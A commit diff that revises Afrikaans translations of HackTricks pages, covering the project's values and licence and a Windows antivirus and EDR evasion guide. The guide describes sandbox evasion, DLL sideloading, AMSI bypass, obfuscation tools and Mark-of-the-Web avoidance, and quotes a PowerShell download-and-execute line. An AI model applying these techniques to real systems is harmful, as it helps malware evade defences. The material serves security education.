mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/welcome/hacktricks-values-and-faq.md', 'src/windows-har
This commit is contained in:
parent
16dbb5fc7c
commit
c195001912
@ -10,10 +10,10 @@
|
||||
> - Gee **VRYE** toegang tot **OPVOEDKUNDIGE hacking** hulpbronne aan **AL** die Internet.
|
||||
> - Hacking gaan oor leer, en leer moet so vry as moontlik wees.
|
||||
> - Die doel van hierdie boek is om as 'n omvattende **opvoedkundige hulpbron** te dien.
|
||||
> - **BLAAS** wonderlike **hacking** tegnieke wat die gemeenskap publiseer, terwyl die **ORIGINELE** **SKRYWERS** al die **krediete** ontvang.
|
||||
> - **Ons wil nie die krediet van ander mense nie**, ons wil net cool truuks stoor vir almal.
|
||||
> - **BLAAS** wonderlike **hacking** tegnieke wat die gemeenskap publiseer en gee die **ORIGINELE** **SKRYWERS** al die **krediete**.
|
||||
> - **Ons wil nie die krediet van ander mense hê**, ons wil net cool truuks stoor vir almal.
|
||||
> - Ons skryf ook **ons eie navorsings** in HackTricks.
|
||||
> - In verskeie gevalle sal ons net **in HackTricks 'n opsomming van die belangrike dele** van die tegniek skryf en die **leser aanmoedig om die oorspronklike pos** te besoek vir meer besonderhede.
|
||||
> - In verskeie gevalle sal ons net **in HackTricks 'n opsomming van die belangrike dele** van die tegniek skryf en sal ons **die leser aanmoedig om die oorspronklike pos te besoek** vir meer besonderhede.
|
||||
> - **ORGANISEER** al die hacking tegnieke in die boek sodat dit **MEER TOEGANKLIK** is.
|
||||
> - Die HackTricks span het duisende ure gratis gewy **net om die inhoud te organiseer** sodat mense **vinnig kan leer**.
|
||||
|
||||
@ -76,9 +76,9 @@ Die eerste **HackTricks** **waarde** is om **GRATIS** hacking opvoedkundige hulp
|
||||
|
||||
As jy dink HackTricks boeke is gemaak vir **kommersiële doeleindes** is jy **HEELTEMAL VERKEERD**.
|
||||
|
||||
Ons het borge omdat, selfs al is al die inhoud GRATIS, ons wil **die gemeenskap die moontlikheid bied om ons werk te waardeer** as hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en **relevante kuberveiligheid maatskappye** om HackTricks te borg en om **'n paar advertensies** in die boek te hê, met die **advertensies** altyd geplaas in plekke waar hulle **sigbaar** is maar **nie die leer** proses steur as iemand op die inhoud fokus nie.
|
||||
Ons het borge omdat, selfs al is al die inhoud GRATIS, ons wil **die gemeenskap die moontlikheid bied om ons werk te waardeer** as hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en **relevante kuberveiligheid maatskappye** om HackTricks te borg en om **'n paar advertensies** in die boek te hê, wat die **advertensies** altyd op plekke geplaas word waar hulle **sigbaar** is maar **nie die leer** proses steur as iemand op die inhoud fokus nie.
|
||||
|
||||
Jy sal nie HackTricks vol irritante advertensies vind soos ander blogs met baie minder inhoud as HackTricks nie, omdat HackTricks nie gemaak is vir kommersiële doeleindes nie.
|
||||
Jy sal nie HackTricks vol irritante advertensies vind soos ander blogs met baie minder inhoud as HackTricks nie, omdat HackTricks nie vir kommersiële doeleindes gemaak is nie.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
@ -92,9 +92,9 @@ Jy sal nie HackTricks vol irritante advertensies vind soos ander blogs met baie
|
||||
|
||||
Let daarop dat om skakels na jou bladsy in HackTricks te hê:
|
||||
|
||||
- Verbeter jou **SEO**
|
||||
- Jou **SEO** verbeter
|
||||
- Die inhoud word **vertaal na meer as 15 tale** wat dit moontlik maak vir meer mense om toegang tot hierdie inhoud te hê
|
||||
- **HackTricks moedig** mense aan om **jou bladsy te kyk** (verskeie mense het vir ons genoem dat sedert 'n paar van hulle se bladsye in HackTricks is, hulle meer besoeke ontvang)
|
||||
- **HackTricks moedig** mense aan om **jou bladsy te besoek** (verskeie mense het vir ons genoem dat sedert 'n bladsy van hulle in HackTricks is, hulle meer besoeke ontvang)
|
||||
|
||||
As jy egter steeds wil hê dat die inhoud van jou blog verwyder moet word uit HackTricks, laat weet ons asseblief en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud gebaseer daarop.
|
||||
|
||||
@ -102,7 +102,7 @@ As jy egter steeds wil hê dat die inhoud van jou blog verwyder moet word uit Ha
|
||||
>
|
||||
> - **Wat moet ek doen as ek gekopieerde inhoud in HackTricks vind?**
|
||||
|
||||
Ons **gee altyd die oorspronklike outeurs al die krediet**. As jy 'n bladsy vind met gekopieerde inhoud sonder oorspronklike bron verwysing, laat weet ons en ons sal of **dit verwyder**, **die skakel voor die teks byvoeg**, of **dit herskryf met die skakel**.
|
||||
Ons **gee altyd die oorspronklike outeurs al die krediet**. As jy 'n bladsy vind met gekopieerde inhoud sonder oorspronklike bron verwysing, laat weet ons en ons sal dit of **verwyder**, **die skakel voor die teks byvoeg**, of **herformuleer met die skakel**.
|
||||
|
||||
## LICENSE
|
||||
|
||||
@ -111,12 +111,12 @@ Copyright © Alle regte voorbehou tensy anders vermeld.
|
||||
#### License Summary:
|
||||
|
||||
- Attribution: Jy is vry om:
|
||||
- Share — kopieer en herverdeel die materiaal in enige medium of formaat.
|
||||
- Adapt — remix, transformeer, en bou voort op die materiaal.
|
||||
- Share — die materiaal in enige medium of formaat te kopieer en te herverdeel.
|
||||
- Adapt — remix, transformeer, en op die materiaal voortbou.
|
||||
|
||||
#### Additional Terms:
|
||||
|
||||
- Third-Party Content: Sommige dele van hierdie blog/boek mag inhoud van ander bronne insluit, soos uittreksels van ander blogs of publikasies. Die gebruik van sulke inhoud word gedoen onder die beginsels van billike gebruik of met eksplisiete toestemming van die onderskeie kopiereghouers. Verwys asseblief na die oorspronklike bronne vir spesifieke lisensiëring inligting rakende derdeparty inhoud.
|
||||
- Third-Party Content: Sommige dele van hierdie blog/boek mag inhoud van ander bronne insluit, soos uittreksels van ander blogs of publikasies. Die gebruik van sulke inhoud word gedoen onder die beginsels van billike gebruik of met eksplisiete toestemming van die onderskeie kopiereg houers. Verwys asseblief na die oorspronklike bronne vir spesifieke lisensiëring inligting rakende derdeparty inhoud.
|
||||
- Authorship: Die oorspronklike inhoud geskryf deur HackTricks is onderhewig aan die bepalings van hierdie lisensie. Jy word aangemoedig om hierdie werk aan die outeur toe te ken wanneer jy dit deel of aanpas.
|
||||
|
||||
#### Exemptions:
|
||||
@ -125,19 +125,19 @@ Copyright © Alle regte voorbehou tensy anders vermeld.
|
||||
|
||||
Hierdie lisensie gee nie enige handelsmerk of handelsnaam regte in verband met die inhoud nie. Alle handelsmerke en handelsname wat in hierdie blog/boek verskyn, is die eiendom van hul onderskeie eienaars.
|
||||
|
||||
**Deur toegang te verkry tot of HackTricks te gebruik, stem jy in om die bepalings van hierdie lisensie na te kom. As jy nie met hierdie bepalings saamstem nie, asseblief, moenie toegang tot hierdie webwerf verkry nie.**
|
||||
**Deur toegang te verkry tot of HackTricks te gebruik, stem jy in om die bepalings van hierdie lisensie na te kom. As jy nie met hierdie bepalings saamstem nie, asseblief, moenie hierdie webwerf betree nie.**
|
||||
|
||||
## **Disclaimer**
|
||||
|
||||
> [!CAUTION]
|
||||
> Hierdie boek, 'HackTricks,' is bedoel vir opvoedkundige en informele doeleindes slegs. Die inhoud binne hierdie boek word op 'n 'as is' basis verskaf, en die outeurs en uitgewers maak geen verteenwoordigings of waarborge van enige aard, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid, of beskikbaarheid van die inligting, produkte, dienste, of verwante grafika wat in hierdie boek bevat is nie. Enige vertroue wat jy op sulke inligting plaas, is dus streng op jou eie risiko.
|
||||
>
|
||||
> Die outeurs en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade, insluitend sonder beperking, indirekte of gevolglike verlies of skade, of enige verlies of skade wat ontstaan uit verlies van data of wins wat voortspruit uit, of in verband met, die gebruik van hierdie boek.
|
||||
> Die outeurs en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade, insluitend sonder beperking, indirekte of gevolglike verlies of skade, of enige verlies of skade wat ontstaan uit verlies van data of winste wat voortspruit uit, of in verband met, die gebruik van hierdie boek.
|
||||
>
|
||||
> Verder, die tegnieke en wenke wat in hierdie boek beskryf word, word slegs vir opvoedkundige en informele doeleindes verskaf, en moet nie vir enige onwettige of kwaadwillige aktiwiteite gebruik word nie. Die outeurs en uitgewers keur geen onwettige of onetiese aktiwiteite goed nie, en enige gebruik van die inligting wat in hierdie boek bevat is, is op die gebruiker se eie risiko en diskresie.
|
||||
>
|
||||
> Die gebruiker is slegs verantwoordelik vir enige aksies wat geneem word op grond van die inligting wat in hierdie boek bevat is, en moet altyd professionele advies en hulp soek wanneer hulle probeer om enige van die tegnieke of wenke wat hierin beskryf word, te implementeer.
|
||||
>
|
||||
> Deur hierdie boek te gebruik, stem die gebruiker in om die outeurs en uitgewers van enige en alle aanspreeklikheid en verantwoordelikheid vir enige skade, verliese, of skade wat mag ontstaan uit die gebruik van hierdie boek of enige van die inligting wat daarin bevat is, vry te stel.
|
||||
> Deur hierdie boek te gebruik, stem die gebruiker in om die outeurs en uitgewers van enige en alle aanspreeklikheid en verantwoordelikheid vir enige skade, verliese, of skade wat mag voortvloei uit die gebruik van hierdie boek of enige van die inligting wat daarin bevat is, vry te stel.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -12,11 +12,11 @@
|
||||
|
||||
## **AV Evasie Metodologie**
|
||||
|
||||
Tans gebruik AV's verskillende metodes om te kontroleer of 'n lêer kwaadwillig is of nie, statiese opsporing, dinamiese analise, en vir die meer gevorderde EDR's, gedragsanalise.
|
||||
Tans gebruik AV's verskillende metodes om te kyk of 'n lêer kwaadwillig is of nie, statiese opsporing, dinamiese analise, en vir die meer gevorderde EDR's, gedragsanalise.
|
||||
|
||||
### **Statiese opsporing**
|
||||
|
||||
Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrif te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappynaam, digitale handtekeninge, ikoon, checksum, ens.). Dit beteken dat die gebruik van bekende openbare hulpmiddels jou makliker kan laat vasvang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om om hierdie tipe opsporing te kom:
|
||||
Statiese opsporing word bereik deur bekende kwaadwillige stringe of byte-reekse in 'n binêre of skrip te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappynaam, digitale handtekeninge, ikoon, checksum, ens.). Dit beteken dat die gebruik van bekende openbare hulpmiddels jou makliker kan laat vasvang, aangesien hulle waarskynlik geanaliseer en as kwaadwillig gemerk is. Daar is 'n paar maniere om om hierdie soort opsporing te gaan:
|
||||
|
||||
- **Enkripsie**
|
||||
|
||||
@ -24,7 +24,7 @@ As jy die binêre enkripteer, sal daar geen manier wees vir AV om jou program te
|
||||
|
||||
- **Obfuskasie**
|
||||
|
||||
Soms is al wat jy hoef te doen, om 'n paar stringe in jou binêre of skrif te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfusk.
|
||||
Soms is al wat jy moet doen, om 'n paar stringe in jou binêre of skrip te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfusk.
|
||||
|
||||
- **Pasgemaakte hulpmiddels**
|
||||
|
||||
@ -37,9 +37,9 @@ Ek beveel sterk aan dat jy hierdie [YouTube-speellys](https://www.youtube.com/pl
|
||||
|
||||
### **Dinamiese analise**
|
||||
|
||||
Dinamiese analise is wanneer die AV jou binêre in 'n sandbox laat loop en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaskas se wagwoorde te dekripteer en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te evade.
|
||||
Dinamiese analise is wanneer die AV jou binêre in 'n sandbox laat loop en kyk vir kwaadwillige aktiwiteit (bv. probeer om jou blaaier se wagwoorde te dekripteer en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandboxes te evade.
|
||||
|
||||
- **Slap voor uitvoering** Afhangende van hoe dit geïmplementeer is, kan dit 'n wonderlike manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te skandeer om nie die gebruiker se werksvloei te onderbreek nie, so die gebruik van lang slap kan die analise van binêre versteur. Die probleem is dat baie AV's sandboxes eenvoudig die slap kan oorslaan, afhangende van hoe dit geïmplementeer is.
|
||||
- **Sliep voor uitvoering** Afhangende van hoe dit geïmplementeer is, kan dit 'n wonderlike manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te skandeer om nie die gebruiker se werksvloei te onderbreek nie, so die gebruik van lang slape kan die analise van binêre versteur. Die probleem is dat baie AV's sandboxes eenvoudig die slaap kan oorslaan, afhangende van hoe dit geïmplementeer is.
|
||||
- **Kontroleer masjien se hulpbronne** Gewoonlik het sandboxes baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan hulle die gebruiker se masjien stadiger maak. Jy kan ook baie kreatief hier wees, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandbox geïmplementeer wees nie.
|
||||
- **Masjien-spesifieke kontroles** As jy 'n gebruiker wil teiken wie se werkstasie aan die "contoso.local" domein gekoppel is, kan jy 'n kontrole op die rekenaar se domein doen om te sien of dit ooreenstem met die een wat jy gespesifiseer het, as dit nie is nie, kan jy jou program laat verlaat.
|
||||
|
||||
@ -55,14 +55,14 @@ Soos ons voorheen in hierdie pos gesê het, **publieke hulpmiddels** sal uiteind
|
||||
|
||||
Byvoorbeeld, as jy LSASS wil dump, **het jy regtig nodig om mimikatz te gebruik**? Of kan jy 'n ander projek gebruik wat minder bekend is en ook LSASS dump.
|
||||
|
||||
Die regte antwoord is waarskynlik die laaste. Neem mimikatz as 'n voorbeeld, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om mee te werk om om AV's te omseil, so soek net na alternatiewe vir wat jy probeer bereik.
|
||||
Die regte antwoord is waarskynlik die laaste. Neem mimikatz as 'n voorbeeld, dit is waarskynlik een van, indien nie die mees gemerkte stuk malware deur AV's en EDR's nie, terwyl die projek self super cool is, is dit ook 'n nagmerrie om mee te werk om rondom AV's te kom, so kyk net vir alternatiewe vir wat jy probeer bereik.
|
||||
|
||||
> [!TIP]
|
||||
> Wanneer jy jou payloads vir evasie aanpas, maak seker om **outomatiese monster indiening** in defender af te skakel, en asseblief, ernstig, **LAAT NIE OP VIRUSTOTAL OP NIE** as jou doel is om evasie op die lang termyn te bereik. As jy wil kontroleer of jou payload deur 'n spesifieke AV opgespoor word, installeer dit op 'n VM, probeer om die outomatiese monster indiening af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
|
||||
> Wanneer jy jou payloads vir evasie aanpas, maak seker om **outomatiese monster indiening** in defender af te skakel, en asseblief, ernstig, **LAAT NIE OP VIRUSTOTAL OP NIE** as jou doel is om evasie op die lang termyn te bereik. As jy wil kyk of jou payload deur 'n spesifieke AV opgespoor word, installeer dit op 'n VM, probeer om die outomatiese monster indiening af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
Wanneer dit moontlik is, moet jy altyd **prioriteit gee aan die gebruik van DLLs vir evasie**, in my ervaring, DLL-lêers word gewoonlik **baie minder opgespoor** en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om in sommige gevalle opsporing te vermy (as jou payload 'n manier het om as 'n DLL te loop natuurlik).
|
||||
Wanneer dit moontlik is, moet jy altyd **prioritiseer om DLLs vir evasie te gebruik**, in my ervaring, DLL-lêers word gewoonlik **baie minder opgespoor** en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om in sommige gevalle opsporing te vermy (as jou payload 'n manier het om as 'n DLL te loop natuurlik).
|
||||
|
||||
Soos ons in hierdie beeld kan sien, het 'n DLL Payload van Havoc 'n opsporingskoers van 4/26 in antiscan.me, terwyl die EXE payload 'n 7/26 opsporingskoers het.
|
||||
|
||||
@ -74,7 +74,7 @@ Nou sal ons 'n paar truuks wys wat jy met DLL-lêers kan gebruik om baie meer st
|
||||
|
||||
**DLL Sideloading** maak gebruik van die DLL soekorde wat deur die laaier gebruik word deur beide die slagoffer toepassing en kwaadwillige payload(s) langs mekaar te posisioneer.
|
||||
|
||||
Jy kan kontroleer vir programme wat vatbaar is vir DLL Sideloading met behulp van [Siofra](https://github.com/Cybereason/siofra) en die volgende powershell skrip:
|
||||
Jy kan programme wat vatbaar is vir DLL Sideloading kontroleer met [Siofra](https://github.com/Cybereason/siofra) en die volgende powershell skrip:
|
||||
```bash
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
@ -87,7 +87,7 @@ Ek beveel sterk aan dat jy **DLL Hijackable/Sideloadable programme self verken**
|
||||
|
||||
Net deur 'n kwaadwillige DLL met die naam wat 'n program verwag om te laai, te plaas, sal nie jou payload laai nie, aangesien die program 'n paar spesifieke funksies binne daardie DLL verwag. Om hierdie probleem op te los, sal ons 'n ander tegniek gebruik wat **DLL Proxying/Forwarding** genoem word.
|
||||
|
||||
**DLL Proxying** stuur die oproepe wat 'n program vanaf die proxy (en kwaadwillige) DLL maak, na die oorspronklike DLL, en behou sodoende die program se funksionaliteit en kan die uitvoering van jou payload hanteer.
|
||||
**DLL Proxying** stuur die oproepe wat 'n program maak vanaf die proxy (en kwaadwillige) DLL na die oorspronklike DLL, en behou sodoende die program se funksionaliteit en kan die uitvoering van jou payload hanteer.
|
||||
|
||||
Ek sal die [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projek van [@flangvik](https://twitter.com/Flangvik/) gebruik.
|
||||
|
||||
@ -129,7 +129,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Ontwyking is net 'n kat & muis spel, wat vandag werk, kan môre opgespoor word, so moenie net op een hulpmiddel staatmaak nie, as dit moontlik is, probeer om verskeie ontwykingsmetodes te kombineer.
|
||||
> Ontwyking is net 'n kat & muis spel, wat vandag werk, kan môre opgespoor word, so moenie net op een hulpmiddel staatmaak nie, as dit moontlik is, probeer om verskeie ontwykings tegnieke te kombineer.
|
||||
|
||||
## AMSI (Anti-Malware Scan Interface)
|
||||
|
||||
@ -137,7 +137,7 @@ AMSI is geskep om "[fileless malware](https://en.wikipedia.org/wiki/Fileless_mal
|
||||
|
||||
Die AMSI-funksie is geïntegreer in hierdie komponente van Windows.
|
||||
|
||||
- Gebruikersrekeningbeheer, of UAC (verhoging van EXE, COM, MSI, of ActiveX-installasie)
|
||||
- Gebruikersrekeningbeheer, of UAC (verhoging van EXE, COM, MSI, of ActiveX installasie)
|
||||
- PowerShell (scripts, interaktiewe gebruik, en dinamiese kode evaluering)
|
||||
- Windows Script Host (wscript.exe en cscript.exe)
|
||||
- JavaScript en VBScript
|
||||
@ -149,9 +149,9 @@ Die uitvoering van `IEX (New-Object Net.WebClient).DownloadString('https://raw.g
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Let op hoe dit `amsi:` voorafgaan en dan die pad na die uitvoerbare lêer waarvan die skrip gedraai is, in hierdie geval, powershell.exe
|
||||
Let op hoe dit `amsi:` voorafgaan en dan die pad na die uitvoerbare lêer waarvan die skrip gedraai het, in hierdie geval, powershell.exe
|
||||
|
||||
Ons het geen lêer na skyf gelaat nie, maar is steeds in-geheue gevang weens AMSI.
|
||||
Ons het geen lêer op skyf gelaat nie, maar is steeds in-geheue gevang weens AMSI.
|
||||
|
||||
Boonop, begin met **.NET 4.8**, word C# kode ook deur AMSI uitgevoer. Dit beïnvloed selfs `Assembly.Load(byte[])` om in-geheue uitvoering te laai. Dit is hoekom dit aanbeveel word om laer weergawes van .NET (soos 4.7.2 of laer) te gebruik vir in-geheue uitvoering as jy AMSI wil ontwyk.
|
||||
|
||||
@ -161,7 +161,7 @@ Daar is 'n paar maniere om rondom AMSI te kom:
|
||||
|
||||
Aangesien AMSI hoofsaaklik met statiese opsporings werk, kan dit dus 'n goeie manier wees om die skripte wat jy probeer laai te wysig om opsporing te ontwyk.
|
||||
|
||||
Echter, AMSI het die vermoë om skripte te onobfuskeer selfs al het dit verskeie lae, so obfuskaasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontwyk nie. Alhoewel, soms is al wat jy hoef te doen, om 'n paar veranderlike name te verander en jy sal reg wees, so dit hang af van hoeveel iets gemerk is.
|
||||
Echter, AMSI het die vermoë om skripte te onobfuskeer selfs al het dit verskeie lae, so obfuskaasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen word. Dit maak dit nie so eenvoudig om te ontwyk nie. Alhoewel, soms is al wat jy moet doen, om 'n paar veranderlike name te verander en jy sal reg wees, so dit hang af van hoeveel iets gemerk is.
|
||||
|
||||
- **AMSI Ontwyking**
|
||||
|
||||
@ -217,7 +217,7 @@ powershell.exe -version 2
|
||||
```
|
||||
## PS Logging
|
||||
|
||||
PowerShell logging is 'n kenmerk wat jou toelaat om al die PowerShell-opdragte wat op 'n stelsel uitgevoer word, te log. Dit kan nuttig wees vir ouditering en probleemoplossing, maar dit kan ook 'n **probleem wees vir aanvallers wat wil ontduik dat hulle opgespoor word**.
|
||||
PowerShell logging is 'n kenmerk wat jou toelaat om al die PowerShell-opdragte wat op 'n stelsel uitgevoer word, te log. Dit kan nuttig wees vir ouditering en probleemoplossing, maar dit kan ook 'n **probleem wees vir aanvallers wat wil ontduik**.
|
||||
|
||||
Om PowerShell logging te omseil, kan jy die volgende tegnieke gebruik:
|
||||
|
||||
@ -228,18 +228,18 @@ Om PowerShell logging te omseil, kan jy die volgende tegnieke gebruik:
|
||||
## Obfuscation
|
||||
|
||||
> [!TIP]
|
||||
> Verskeie obfuskeringstegnieke maak staat op die enkripsie van data, wat die entropie van die binêre sal verhoog, wat dit makliker sal maak vir AVs en EDRs om dit op te spoor. Wees versigtig hiermee en pas dalk net enkripsie toe op spesifieke gedeeltes van jou kode wat sensitief is of weggesteek moet word.
|
||||
> Verskeie obfuskerings tegnieke staatmaak op die enkripsie van data, wat die entropie van die binêre sal verhoog wat dit makliker sal maak vir AVs en EDRs om dit te detecteer. Wees versigtig hiermee en pas dalk net enkripsie toe op spesifieke gedeeltes van jou kode wat sensitief is of weggesteek moet word.
|
||||
|
||||
Daar is verskeie hulpmiddels wat gebruik kan word om **C# duidelike tekskode te obfuskeer**, **metaprogrammering templates** te genereer om binêre te kompileer of **gecompileerde binêre te obfuskeer** soos:
|
||||
Daar is verskeie hulpmiddels wat gebruik kan word om **C# duidelike teks kode te obfuskeer**, **metaprogrammering templates** te genereer om binêre te kompileer of **gecompileerde binêre te obfuskeer** soos:
|
||||
|
||||
- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): Dit is 'n uitstekende oopbron obfuskeerder vir .NET toepassings. Dit bied verskeie beskermingstegnieke soos kontrole vloei obfuskering, anti-debugging, anti-tampering, en string enkripsie. Dit word aanbeveel omdat dit selfs toelaat om spesifieke stukke kode te obfuskeer.
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuskeerder**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbron-vork van die [LLVM](http://www.llvm.org/) kompilasiesuite te bied wat in staat is om verhoogde sagteware-sekuriteit te bied deur middel van [kode obfuskering](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) en tamper-proofing.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14` taal te gebruik om, tydens kompilering, obfuskeerde kode te genereer sonder om enige eksterne hulpmiddel te gebruik en sonder om die kompilateur te wysig.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeerde operasies by wat deur die C++ template metaprogrammering raamwerk gegenereer word, wat die lewe van die persoon wat die toepassing wil kraak, 'n bietjie moeiliker sal maak.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binêre obfuskeerder wat in staat is om verskeie verskillende pe-lêers te obfuskeer, insluitend: .exe, .dll, .sys
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbron fork van die [LLVM](http://www.llvm.org/) kompilasiesuite te bied wat in staat is om verhoogde sagteware sekuriteit te bied deur middel van [kode obfuskering](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) en tamper-proofing.
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14` taal te gebruik om, tydens kompilering, obfuskeerde kode te genereer sonder om enige eksterne hulpmiddel te gebruik en sonder om die kompilateur te verander.
|
||||
- [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeerde operasies by wat gegenereer word deur die C++ template metaprogrammering raamwerk wat die lewe van die persoon wat die toepassing wil kraak 'n bietjie moeiliker sal maak.
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 binêre obfuskeerder wat in staat is om verskeie verskillende pe lêers te obfuskeer, insluitend: .exe, .dll, .sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame is 'n eenvoudige metamorfiese kode enjin vir arbitrêre uitvoerbare lêers.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fyn-gegradeerde kode obfuskering raamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP-kettings te transformeer, wat ons natuurlike begrip van normale kontrole vloei verhoed.
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fyn-gegradeerde kode obfuskering raamwerk vir LLVM-ondersteunde tale wat ROP (return-oriented programming) gebruik. ROPfuscator obfuskeer 'n program op die assembly kode vlak deur gewone instruksies in ROP kettings te transformeer, wat ons natuurlike begrip van normale kontrole vloei verhoed.
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is 'n .NET PE Crypter geskryf in Nim
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is in staat om bestaande EXE/DLL in shellcode te omskakel en dit dan te laai.
|
||||
|
||||
@ -251,20 +251,20 @@ Microsoft Defender SmartScreen is 'n sekuriteitsmeganisme wat bedoel is om die e
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken dat ongewone afgelaaide toepassings SmartScreen sal aktiveer, wat die eindgebruiker waarsku en verhoed om die lêer uit te voer (alhoewel die lêer steeds uitgevoer kan word deur op Meer Inligting -> Voortgaan te klik).
|
||||
SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken dat ongewoon afgelaaide toepassings SmartScreen sal aktiveer, wat die eindgebruiker waarsku en verhoed om die lêer uit te voer (alhoewel die lêer steeds uitgevoer kan word deur op Meer Inligting -> Voortgaan te klik).
|
||||
|
||||
**MoTW** (Mark of The Web) is 'n [NTFS Alternatiewe Data Stroom](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) met die naam van Zone.Identifier wat outomaties geskep word wanneer lêers van die internet afgelaai word, saam met die URL waarvandaan dit afgelaai is.
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Kontroleer die Zone.Identifier ADS vir 'n lêer wat van die internet afgelaai is.</p></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Dit is belangrik om op te let dat uitvoerbare lêers wat met 'n **betroubare** ondertekeningsertifikaat **nie SmartScreen sal aktiveer** nie.
|
||||
> Dit is belangrik om daarop te let dat uitvoerbare lêers wat met 'n **betroubare** ondertekeningsertifikaat **nie SmartScreen sal aktiveer** nie.
|
||||
|
||||
'n Baie effektiewe manier om te verhoed dat jou payloads die Mark of The Web kry, is om dit binne 'n soort houer soos 'n ISO te verpakkie. Dit gebeur omdat Mark-of-the-Web (MOTW) **nie** op **nie NTFS** volumes toegepas kan word nie.
|
||||
'n Baie effektiewe manier om te verhoed dat jou payloads die Mark of The Web kry, is om dit in 'n soort houer soos 'n ISO te verpak. Dit gebeur omdat Mark-of-the-Web (MOTW) **nie** op **nie NTFS** volumes toegepas kan word nie.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n hulpmiddel wat payloads in uitvoerhouers verpakkie om die Mark-of-the-Web te ontduik.
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n hulpmiddel wat payloads in uitvoerhouers verpak om die Mark-of-the-Web te ontduik.
|
||||
|
||||
Voorbeeld gebruik:
|
||||
```bash
|
||||
